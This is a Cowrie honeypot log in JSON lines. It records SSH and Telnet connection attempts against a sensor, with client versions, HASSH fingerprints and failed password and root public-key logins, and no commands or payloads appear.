{"eventid":"cowrie.session.connect","src_ip":"152.32.204.21","src_port":40466,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf3ffe819c02","protocol":"ssh","message":"New connection: 152.32.204.21:40466 (159.203.135.109:22) [session: bf3ffe819c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:20:04.228565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.4","message":"Remote SSH version: SSH-2.0-OpenSSH_7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:20:04.234246Z","src_ip":"152.32.204.21","session":"bf3ffe819c02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b893695067f94c8d2ed92025b192c636","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b893695067f94c8d2ed92025b192c636","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:20:04.400928Z","src_ip":"152.32.204.21","session":"bf3ffe819c02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:20:04.723461Z","src_ip":"152.32.204.21","session":"bf3ffe819c02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.204.21","src_port":40480,"dst_ip":"159.203.135.109","dst_port":22,"session":"328adf921b1d","protocol":"ssh","message":"New connection: 152.32.204.21:40480 (159.203.135.109:22) [session: 328adf921b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:20:04.871021Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Server","message":"Remote SSH version: SSH-1.5-Server","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:20:04.879772Z","src_ip":"152.32.204.21","session":"328adf921b1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:20:04.883667Z","src_ip":"152.32.204.21","session":"328adf921b1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":55652,"dst_ip":"159.203.135.109","dst_port":22,"session":"12a47c210481","protocol":"ssh","message":"New connection: 165.154.36.71:55652 (159.203.135.109:22) [session: 12a47c210481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:20:55.290992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:20:55.296477Z","src_ip":"165.154.36.71","session":"12a47c210481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:20:55.378287Z","src_ip":"165.154.36.71","session":"12a47c210481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:20:55.710727Z","src_ip":"165.154.36.71","session":"12a47c210481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:20:56.785897Z","src_ip":"165.154.36.71","session":"12a47c210481","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.121.170.173","src_port":52792,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d3f81ebd759","protocol":"ssh","message":"New connection: 192.121.170.173:52792 (10.17.0.5:22) [session: 6d3f81ebd759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:21:36.276825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:21:36.283098Z","src_ip":"192.121.170.173","session":"6d3f81ebd759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:21:36.369870Z","src_ip":"192.121.170.173","session":"6d3f81ebd759","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:c4:32:22:3f:13:2b:06:76:74:43:d7:48:d7:4f:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCw0pHBwFpE1fOX6OGGPteGlGs73t22rTxP9N+sjlAotgMvPfi8QU8GDiiKYLI949zpQ4eSyQkNT0fTtvlFNjMpC5hlc6svxyCS4tsxB6YEPMRLoxRqMipIwng6uSmA+wcmoWcgCBPmOnuCeQexLfQUMi0R06OMUsvD01OECD7uRGi57AaC8CACApSzODezlZ9kaclOJWxqYhjTECZUaFv73/efwyBNi7N+yMneB2FNfvdaugkmzsLQFROfjcyJdRvLD1apBgXKrhH0Qq6WX9/Nmhk4j7491RfdpnlWVs6oB1s3DhRYvKVEl9HeSDcSSasqDX/CbR9Pci5ugSS5y8vX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:c4:32:22:3f:13:2b:06:76:74:43:d7:48:d7:4f:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:21:36.777293Z","src_ip":"192.121.170.173","session":"6d3f81ebd759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:c4:32:22:3f:13:2b:06:76:74:43:d7:48:d7:4f:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCw0pHBwFpE1fOX6OGGPteGlGs73t22rTxP9N+sjlAotgMvPfi8QU8GDiiKYLI949zpQ4eSyQkNT0fTtvlFNjMpC5hlc6svxyCS4tsxB6YEPMRLoxRqMipIwng6uSmA+wcmoWcgCBPmOnuCeQexLfQUMi0R06OMUsvD01OECD7uRGi57AaC8CACApSzODezlZ9kaclOJWxqYhjTECZUaFv73/efwyBNi7N+yMneB2FNfvdaugkmzsLQFROfjcyJdRvLD1apBgXKrhH0Qq6WX9/Nmhk4j7491RfdpnlWVs6oB1s3DhRYvKVEl9HeSDcSSasqDX/CbR9Pci5ugSS5y8vX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:21:36.781245Z","src_ip":"192.121.170.173","session":"6d3f81ebd759","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:fa:13:2a:17:6c:b3:c3:b8:15:dd:b9:14:37:24:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNfOQwn1jmvyGip2kqDNnTXF3cVR3HW5d4LMvUb1tOnazdXN7APrDzIuHnHh+yXmwFBk+1ixvSJHMy8hUBD2G110+Wm9mRT0r/5jLPjC7s9CftsYbo2qjXpkp3emaMix0WK6uPlijxcbCIcPDTy4SaEwHOGXFqA3oRfhA2ejNYg2kwZ9wXrE+YtQ2RilR4xQSrqy4r0pYkBRIRixuaMKCBGvhDQ/RjhITxrukGouwe+zdd30OJmHb/jthkCFMQVVHf0MeQiGkfSfcbmDtnSZhB45jg/SacxyslVCcaXoMwcwFJ8FIJoTu4JWJRMtmKLaswTuvg/AYKYB5kbEKB37FF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:fa:13:2a:17:6c:b3:c3:b8:15:dd:b9:14:37:24:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:21:36.869072Z","src_ip":"192.121.170.173","session":"6d3f81ebd759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:fa:13:2a:17:6c:b3:c3:b8:15:dd:b9:14:37:24:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNfOQwn1jmvyGip2kqDNnTXF3cVR3HW5d4LMvUb1tOnazdXN7APrDzIuHnHh+yXmwFBk+1ixvSJHMy8hUBD2G110+Wm9mRT0r/5jLPjC7s9CftsYbo2qjXpkp3emaMix0WK6uPlijxcbCIcPDTy4SaEwHOGXFqA3oRfhA2ejNYg2kwZ9wXrE+YtQ2RilR4xQSrqy4r0pYkBRIRixuaMKCBGvhDQ/RjhITxrukGouwe+zdd30OJmHb/jthkCFMQVVHf0MeQiGkfSfcbmDtnSZhB45jg/SacxyslVCcaXoMwcwFJ8FIJoTu4JWJRMtmKLaswTuvg/AYKYB5kbEKB37FF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:21:36.874303Z","src_ip":"192.121.170.173","session":"6d3f81ebd759","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:48:ea:c1:11:46:d1:60:62:e8:a2:2b:91:45:b2:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClPOoiQyqrjbNRKjfommbr2j+rWrWOY1lc6nkylcA9SJi6B+3/jiD7UI+eB5m52IGD3zNjxMIlSfP5JVTRoduVDw9SMYKzT+y4KMHxT+hwFJxJshg2p5gGru4j3acJE2OhnqdUh4moji6xO0ZpkM04kL3mF9MJWWrBiZbOl6mEMDYaoXW6R9TRYMl6oPRSCm2h0xcFrzbl241vl9wNpWPGy9R9C+stJW5opVf0JqgHtQ9Szg1sD0cCLT1/G9a5Ibexdhfxxka1xj7tKMMhbDzvdeFsOw28KyflglKZ52XudnTFKlWBnmiHJharVDdSlj0dNxFhXMifEE4hiWehG/al","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:48:ea:c1:11:46:d1:60:62:e8:a2:2b:91:45:b2:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:21:36.960816Z","src_ip":"192.121.170.173","session":"6d3f81ebd759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:48:ea:c1:11:46:d1:60:62:e8:a2:2b:91:45:b2:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClPOoiQyqrjbNRKjfommbr2j+rWrWOY1lc6nkylcA9SJi6B+3/jiD7UI+eB5m52IGD3zNjxMIlSfP5JVTRoduVDw9SMYKzT+y4KMHxT+hwFJxJshg2p5gGru4j3acJE2OhnqdUh4moji6xO0ZpkM04kL3mF9MJWWrBiZbOl6mEMDYaoXW6R9TRYMl6oPRSCm2h0xcFrzbl241vl9wNpWPGy9R9C+stJW5opVf0JqgHtQ9Szg1sD0cCLT1/G9a5Ibexdhfxxka1xj7tKMMhbDzvdeFsOw28KyflglKZ52XudnTFKlWBnmiHJharVDdSlj0dNxFhXMifEE4hiWehG/al","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:21:36.964667Z","src_ip":"192.121.170.173","session":"6d3f81ebd759","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:b9:25:61:40:43:db:02:31:77:98:dc:3b:c9:52:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqIbBzvgUUueeG3KIr4je8AlvYVi50uZFi9+g+wgnMpquwai/Gz9eTvYykInZ4Bec0wDV/99uxpf8bOzxj4EckIIHKNljuONOC6CNESxYNJKPJbThuPSs6wOlj20v0XUYw0MLbR19CvI5f86s7fbLa1M+51XKwm2fM5tNCdFm3ln6p6rtnKrBU1Iuob3zq+YDxN1NwkugVDYuCY28W90TBltMynzxwrh6wy4lmjqAiNd9CmTIKhEyNASzQaDeBtIGX7HYQAcVWXoi+LzOkumRR+HyDzRqGyucO8/PM+dqYou+aKag7iUPidGx3rZCIhZfxm1Lm7sD7LHahclp+K/fB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:b9:25:61:40:43:db:02:31:77:98:dc:3b:c9:52:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:21:37.050589Z","src_ip":"192.121.170.173","session":"6d3f81ebd759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:b9:25:61:40:43:db:02:31:77:98:dc:3b:c9:52:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqIbBzvgUUueeG3KIr4je8AlvYVi50uZFi9+g+wgnMpquwai/Gz9eTvYykInZ4Bec0wDV/99uxpf8bOzxj4EckIIHKNljuONOC6CNESxYNJKPJbThuPSs6wOlj20v0XUYw0MLbR19CvI5f86s7fbLa1M+51XKwm2fM5tNCdFm3ln6p6rtnKrBU1Iuob3zq+YDxN1NwkugVDYuCY28W90TBltMynzxwrh6wy4lmjqAiNd9CmTIKhEyNASzQaDeBtIGX7HYQAcVWXoi+LzOkumRR+HyDzRqGyucO8/PM+dqYou+aKag7iUPidGx3rZCIhZfxm1Lm7sD7LHahclp+K/fB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:21:37.055537Z","src_ip":"192.121.170.173","session":"6d3f81ebd759","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:cc:7f:96:12:e7:e8:0f:09:c7:3d:2f:a5:c9:34:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs5lEsi9OUh9tirZ2XgqTLUQFKI0h4ffdaoh9vKc3R5+vV1kBMeM9Gk3NwnnE8095Agf2vc51OX5eol9izmjRhiKDnWSeurrUuaM1gb0ayty+FrdqlHUWT/arFVYtGT6qvX1fFFP8ejVScVKleNPrRtNRvRRTS7jKsES7OJYAp4dpy86GK3elP4y3ImnvmI2gtQOs4tNmBislXTf32L1RjnxAYS6+sZeS/CpV+gdqy8Jsxw+6zkPx9/BmYOezFgdxCmYF1IblIoiAqsAZYlRJ8iZRoFo8D/yxAbAt6yGLOXz3XW2WyEea1Yk82/nvPoDZxg+iNkQkwe1rIZjXg4DW1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:cc:7f:96:12:e7:e8:0f:09:c7:3d:2f:a5:c9:34:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:21:37.145393Z","src_ip":"192.121.170.173","session":"6d3f81ebd759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:cc:7f:96:12:e7:e8:0f:09:c7:3d:2f:a5:c9:34:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs5lEsi9OUh9tirZ2XgqTLUQFKI0h4ffdaoh9vKc3R5+vV1kBMeM9Gk3NwnnE8095Agf2vc51OX5eol9izmjRhiKDnWSeurrUuaM1gb0ayty+FrdqlHUWT/arFVYtGT6qvX1fFFP8ejVScVKleNPrRtNRvRRTS7jKsES7OJYAp4dpy86GK3elP4y3ImnvmI2gtQOs4tNmBislXTf32L1RjnxAYS6+sZeS/CpV+gdqy8Jsxw+6zkPx9/BmYOezFgdxCmYF1IblIoiAqsAZYlRJ8iZRoFo8D/yxAbAt6yGLOXz3XW2WyEea1Yk82/nvPoDZxg+iNkQkwe1rIZjXg4DW1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:21:37.150149Z","src_ip":"192.121.170.173","session":"6d3f81ebd759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:21:37.239489Z","src_ip":"192.121.170.173","session":"6d3f81ebd759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":40580,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f8ec3bcc223","protocol":"telnet","message":"New connection: 212.55.149.117:40580 (10.17.0.5:23) [session: 6f8ec3bcc223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:21:44.824966Z"}
{"eventid":"cowrie.session.closed","duration":120.01500606536865,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:21:59.136032Z","src_ip":"212.55.149.117","session":"f53145da0adc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":31458,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e450ad181b3","protocol":"telnet","message":"New connection: 212.55.149.117:31458 (10.17.0.5:23) [session: 9e450ad181b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:22:00.553983Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":17304,"dst_ip":"159.203.135.109","dst_port":22,"session":"e94f1890ab65","protocol":"ssh","message":"New connection: 194.59.206.2:17304 (159.203.135.109:22) [session: e94f1890ab65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:22:15.485106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:22:15.490259Z","src_ip":"194.59.206.2","session":"e94f1890ab65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:22:15.595531Z","src_ip":"194.59.206.2","session":"e94f1890ab65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:22:15.698143Z","src_ip":"194.59.206.2","session":"e94f1890ab65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.63235282897949,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:22:44.457182Z","src_ip":"212.55.149.117","session":"6f8ec3bcc223","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":53875,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b7286d6e7d9","protocol":"telnet","message":"New connection: 212.55.149.117:53875 (10.17.0.5:23) [session: 6b7286d6e7d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:22:46.447777Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":13517,"dst_ip":"159.203.135.109","dst_port":22,"session":"29310380f7de","protocol":"ssh","message":"New connection: 193.24.211.100:13517 (159.203.135.109:22) [session: 29310380f7de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:01.439724Z"}
